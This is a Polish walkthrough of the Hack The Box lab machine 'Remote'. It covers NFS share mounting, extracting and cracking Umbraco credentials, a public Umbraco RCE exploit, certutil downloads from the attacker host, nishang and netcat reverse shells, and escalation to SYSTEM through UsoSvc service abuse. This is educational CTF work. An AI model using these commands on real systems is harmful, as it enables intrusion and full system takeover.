Wprowadzenie
Maszyna Remote pracuje pod kontrolą systemu Microsoft Windows dostępna pod adresem 10.10.10.180. Do przełamania zabezpieczeń wystarczy podstawowa wiedza z zakresu działania samego systemu oraz google.
Czego się nauczysz
1. Łamania hashy haseł
2. Zestawienie reverse shell’a
3. Enumeracja systemów Microsoft Windows
4. Modyfikacji działających usług
Rekonesans
Zaczynamy od przeskanowania maszyny nmapem.
root@kali:~/htb/boxes/remote# nmap -sC -sV -oA nmap 10.10.10.180
# Nmap 7.80 scan initiated Thu Aug 20 15:54:16 2020 as: nmap -sC -sV -oA nmap 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up (0.053s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-08-20T13:55:08
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 20 15:55:43 2020 -- 1 IP address (1 host up) scanned in 87.07 seconds
W międzyczasie w tle uruchomiłem skanowanie gobusterem oraz nikto. Skan Nikto nie przyniósł większych efektów, w przeciwieństwie do gobuster’a, który odnalazł kilka ciekawych folderów.
root@kali:~/htb/boxes/remote# gobuster dir -u http://10.10.10.180 -w /usr/share/wordlists/dirb/common.txt
root@kali:~/htb/boxes/remote# gobuster dir -u http://10.10.10.180 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.180
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/08/20 16:03:26 Starting gobuster
===============================================================
[ERROR] 2020/08/20 16:03:38 [!] Get http://10.10.10.180/about-us: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/Blog (Status: 200)
/blog (Status: 200)
[ERROR] 2020/08/20 16:03:53 [!] Get http://10.10.10.180/contact: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/08/20 16:03:53 [!] Get http://10.10.10.180/Contact: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/home (Status: 200)
/Home (Status: 200)
/install (Status: 302)
/intranet (Status: 200)
/people (Status: 200)
/People (Status: 200)
/person (Status: 200)
/products (Status: 200)
/Products (Status: 200)
[ERROR] 2020/08/20 16:04:37 [!] Get http://10.10.10.180/product: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/umbraco (Status: 200)
===============================================================
2020/08/20 16:04:54 Finished
===============================================================
Wyniki skananowania nmap’a wyglądały bardzo obiecująco. Zacząłem od sprawdzenia portu 21, czyli ftp. Niestety pomimo połączenia się na konto Anonymous, nic więcej nie znalazłem. Wyniki skanu gobustera pokazały sporo interesujących zasobów, przeklikanie się przez nie nie przyniosły większego rezultatu. Dopiero ostatni http://10.10.10.180/umbraco/ wskazywał na panel logowania. Próby zalogowania się na domyślne poświadczenia, typu admin/admin nie przyniosły efektów. Postanowiłem wpisać frazę Umbraco w Google, ponieważ nie za bardzo wiedziałem co to jest. Pierwszy wynik wyszukiwania podpowiedział, iż jest to CMS. W następnym kroku sprawdziłem czy są jakieś exploity, wykorzystując https://www.exploit-db.com/
Jeden exploit wyglądał obiecując, ponieważ był z 2019 roku, ale wymagał znajomości loginu i hasła, którego na tą chwilę nie miałem. Wróciłem do wyników skanowania nmapa i sprawdzenia portu 445, czyli samba. Poleceniem showmount sprawdziłem co jest udostępnione na hoście.
showmount -e 10.10.10.180
root@kali:~# showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
Następnie utworzyłem katalog tymczasowy i podmontowałem zasoby z site_backups.
root@kali:~/htb/boxes/remote# mkdir site_backups
root@kali:~/htb/boxes/remote# mount -t nfs 10.10.10.180:/site_backups site_backups/
root@kali:~/htb/boxes/remote# cd site_backups/
root@kali:~/htb/boxes/remote/site_backups# ls
App_Browsers App_Data App_Plugins aspnet_client bin Config css default.aspx Global.asax Media scripts Umbraco Umbraco_Client Views Web.config
Starłem się odszukać informacji odnośnie połączenia do bazy danych. Cała konfiguracja powinna być zapisana w pliku Web.config
<connectionStrings>
<remove name="umbracoDbDSN" />
<add name="umbracoDbDSN" connectionString="Data Source=|DataDirectory|Umbraco.sdf;Flush Interval=1;" providerName="System.Data.SqlServerCe.4.0" />
<!-- Important: If you're upgrading Umbraco, do not clear the connection string / provider name during your web.config merge. -->
</connectionStrings>
Konfiguracja wskazywała lokalną bazę danych Umbraco.sdf. Plik znajdował się w katalogu App_Data. Próbowałem odczytać plik za pomocą programu Compact View, jednak plik wyglądał na uszkodzony. Postanowiłem, iż sprawdzę ręcznie co jest w pliku, i odnalazłem:
[email protected] b8be16afba8c314ad33d812f22a04991b90e2aaa {"hashAlgorithm":"SHA1"}[email protected]
[email protected]+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}[email protected]
Logowanie do panelu Umbraco wymaga adresu mailowego, dlatego skupiłem się tylko na kontach z logiem w postaci maila. Na szczęście hasło dla [email protected] zostało zakodowane słabym algorytmem SHA-1. Skorzystałem z https://gchq.github.io/CyberChef/#recipe=SHA1(). Po poprawny zdekodowaniu hasła upewniłem się, czy dane są prawidłowe logując się do panelu Umbraco.
Pozostało sprawdzenie w jakiej wersji jest zainstalowany CMS.
Exploit i Reverse Shell
Wersja 7.12.4 idealnie pasowała do naszego Exploita, który niezbyt dobrze mi zadziałał. Jak się później okazało, maszyna działała bardzo niestabilnie. Postanowiłem skorzystać z innej wersji, a mianowicie https://github.com/noraj/Umbraco-RCE.
root@kali:~/htb/boxes/remote# python3 exploit.py -u [email protected] -p baconandcheese -w http://10.10.10.180 -i 10.10.14.32
[+] Trying to bind to 0.0.0.0 on port 4444: Done
[+] Waiting for connections on 0.0.0.0:4444: Got connection from 10.10.10.180 on port 49683
[+] Trying to bind to 0.0.0.0 on port 4445: Done
[+] Waiting for connections on 0.0.0.0:4445: Got connection from 10.10.10.180 on port 49684
[*] Switching to interactive mode
PS C:windowssystem32inetsrv> whoami
iis apppooldefaultapppool
PS C:windowssystem32inetsrv>
Flagę usera udało się odczytać. W następnym kroku przystąpiłem do wgrania skryptów ułątwiających enumeracje. Korzystając z https://lolbas-project.github.io/ wgrałem PowerUp.ps1. W nowym oknie konsoli uruchomiłem serwer http oraz wykorzystałem możliwość pobrania plików stosując Certutil.exe
#Serwer http na porcie 8000
python -m SimpleHTTPServer
#pobranie pliku na zaatakowanej maszynie
PS C:WindowsTemp> certutil.exe -urlcache -split -f "http://10.10.14.32:8000/PowerUp.ps1" PowerUp.ps1
**** Online ****
000000 ...
092a04
CertUtil: -URLCache command completed successfully.
Musiałem zestawić nowe połączenie, ponieważ na obecny nie działał powershell. Skorzystałem z skryptów nishang, które są preinstalowane w Kali Linuksie. Zedytowałem skrypt o nazwie “Invoke-PowerShellTcp.ps1” dodając na końcu Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.32 -Port 9001. Wgrałem skrypt na serwer i uruchomiłem zestawiając nowe połączenie.
PS C:WindowsTemp> certutil.exe -urlcache -split -f "http://10.10.14.32:8000/rev_shell.ps1" rev_shell.ps1
**** Online ****
0000 ...
1132
CertUtil: -URLCache command completed successfully.
Następnie przystąpiłem do skanowania systemu za pomocą PowerUp’a.
PS C:WindowsTemp> import-module ./PowerUp.ps1
PS C:WindowsTemp> Invoke-AllChecks
Privilege : SeImpersonatePrivilege
Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 3036
ProcessId : 1956
Name : 1956
Check : Process Token Privileges
ServiceName : UsoSvc
Path : C:Windowssystem32svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart : True
Name : UsoSvc
Check : Modifiable Services
UnattendPath : C:WindowsPantherUnattend.xml
Name : C:WindowsPantherUnattend.xml
Check : Unattended Install Files
PS C:WindowsTemp> Get-ChildItem : Access to the path 'C:ProgramDataVMwareVMware ToolsGuestProxyDatatrusted' is denied.
At C:WindowsTempPowerUp.ps1:4516 char:21
+ ... $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.x ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:ProgramData...oxyDatatrusted:String) [Get-ChildItem], Unauthoriz
edAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
PS C:WindowsTemp>
Wynik skanowania wskazał na możliwość modyfikacji usługi odpowiedzialnej za aktualizacje Windowsa, czyli UsoSvc.
PS C:windowstemp> Invoke-ServiceAbuse -Name 'UsoSvc'
ServiceAbused Command
------------- -------
UsoSvc net user john Password123! /add && net localgroup Administrators john /add
PS C:windowstemp> Start-Service : Service 'Update Orchestrator Service (UsoSvc)' cannot be started due to the following error: Cannot
start service UsoSvc on computer '.'.
At line:2467 char:34
+ ... $TargetService | Start-Service -ErrorAction SilentlyContinue
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Start-Service],
ServiceCommandException
+ FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCommand
Niestety próba dodania usera poprzez net user nie powiodła się. Postanowiłem zmodyfikować domyślną ścieżkę usługi i wymusić jej restart. W między czasie wgrałem netcat’a korzystając z certutil
PS C:WindowsTemp> certutil.exe -urlcache -split -f "http://10.10.14.32:8000/nc.exe" nc.exe
**** Online ****
0000 ...
8eb0
CertUtil: -URLCache command completed successfully.
PS C:WindowsTemp> Set-ServiceBinaryPath -Name UsoSvc -Path 'C:WindowsTempnc.exe -e powershell 10.10.14.32 9002'
True
PS C:WindowsTemp>
PS C:WindowsTemp> restart-service UsoSvc
root@kali:~/htb/boxes/remote# nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.180] 49702
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:Windowssystem32> whoami
whoami
nt authoritysystem
PS C:Windowssystem32>
Restart usługi zestawił sesje z wyższymi uprawnieniami. Wyciągnięcie flagi administratora było czystą formalnością.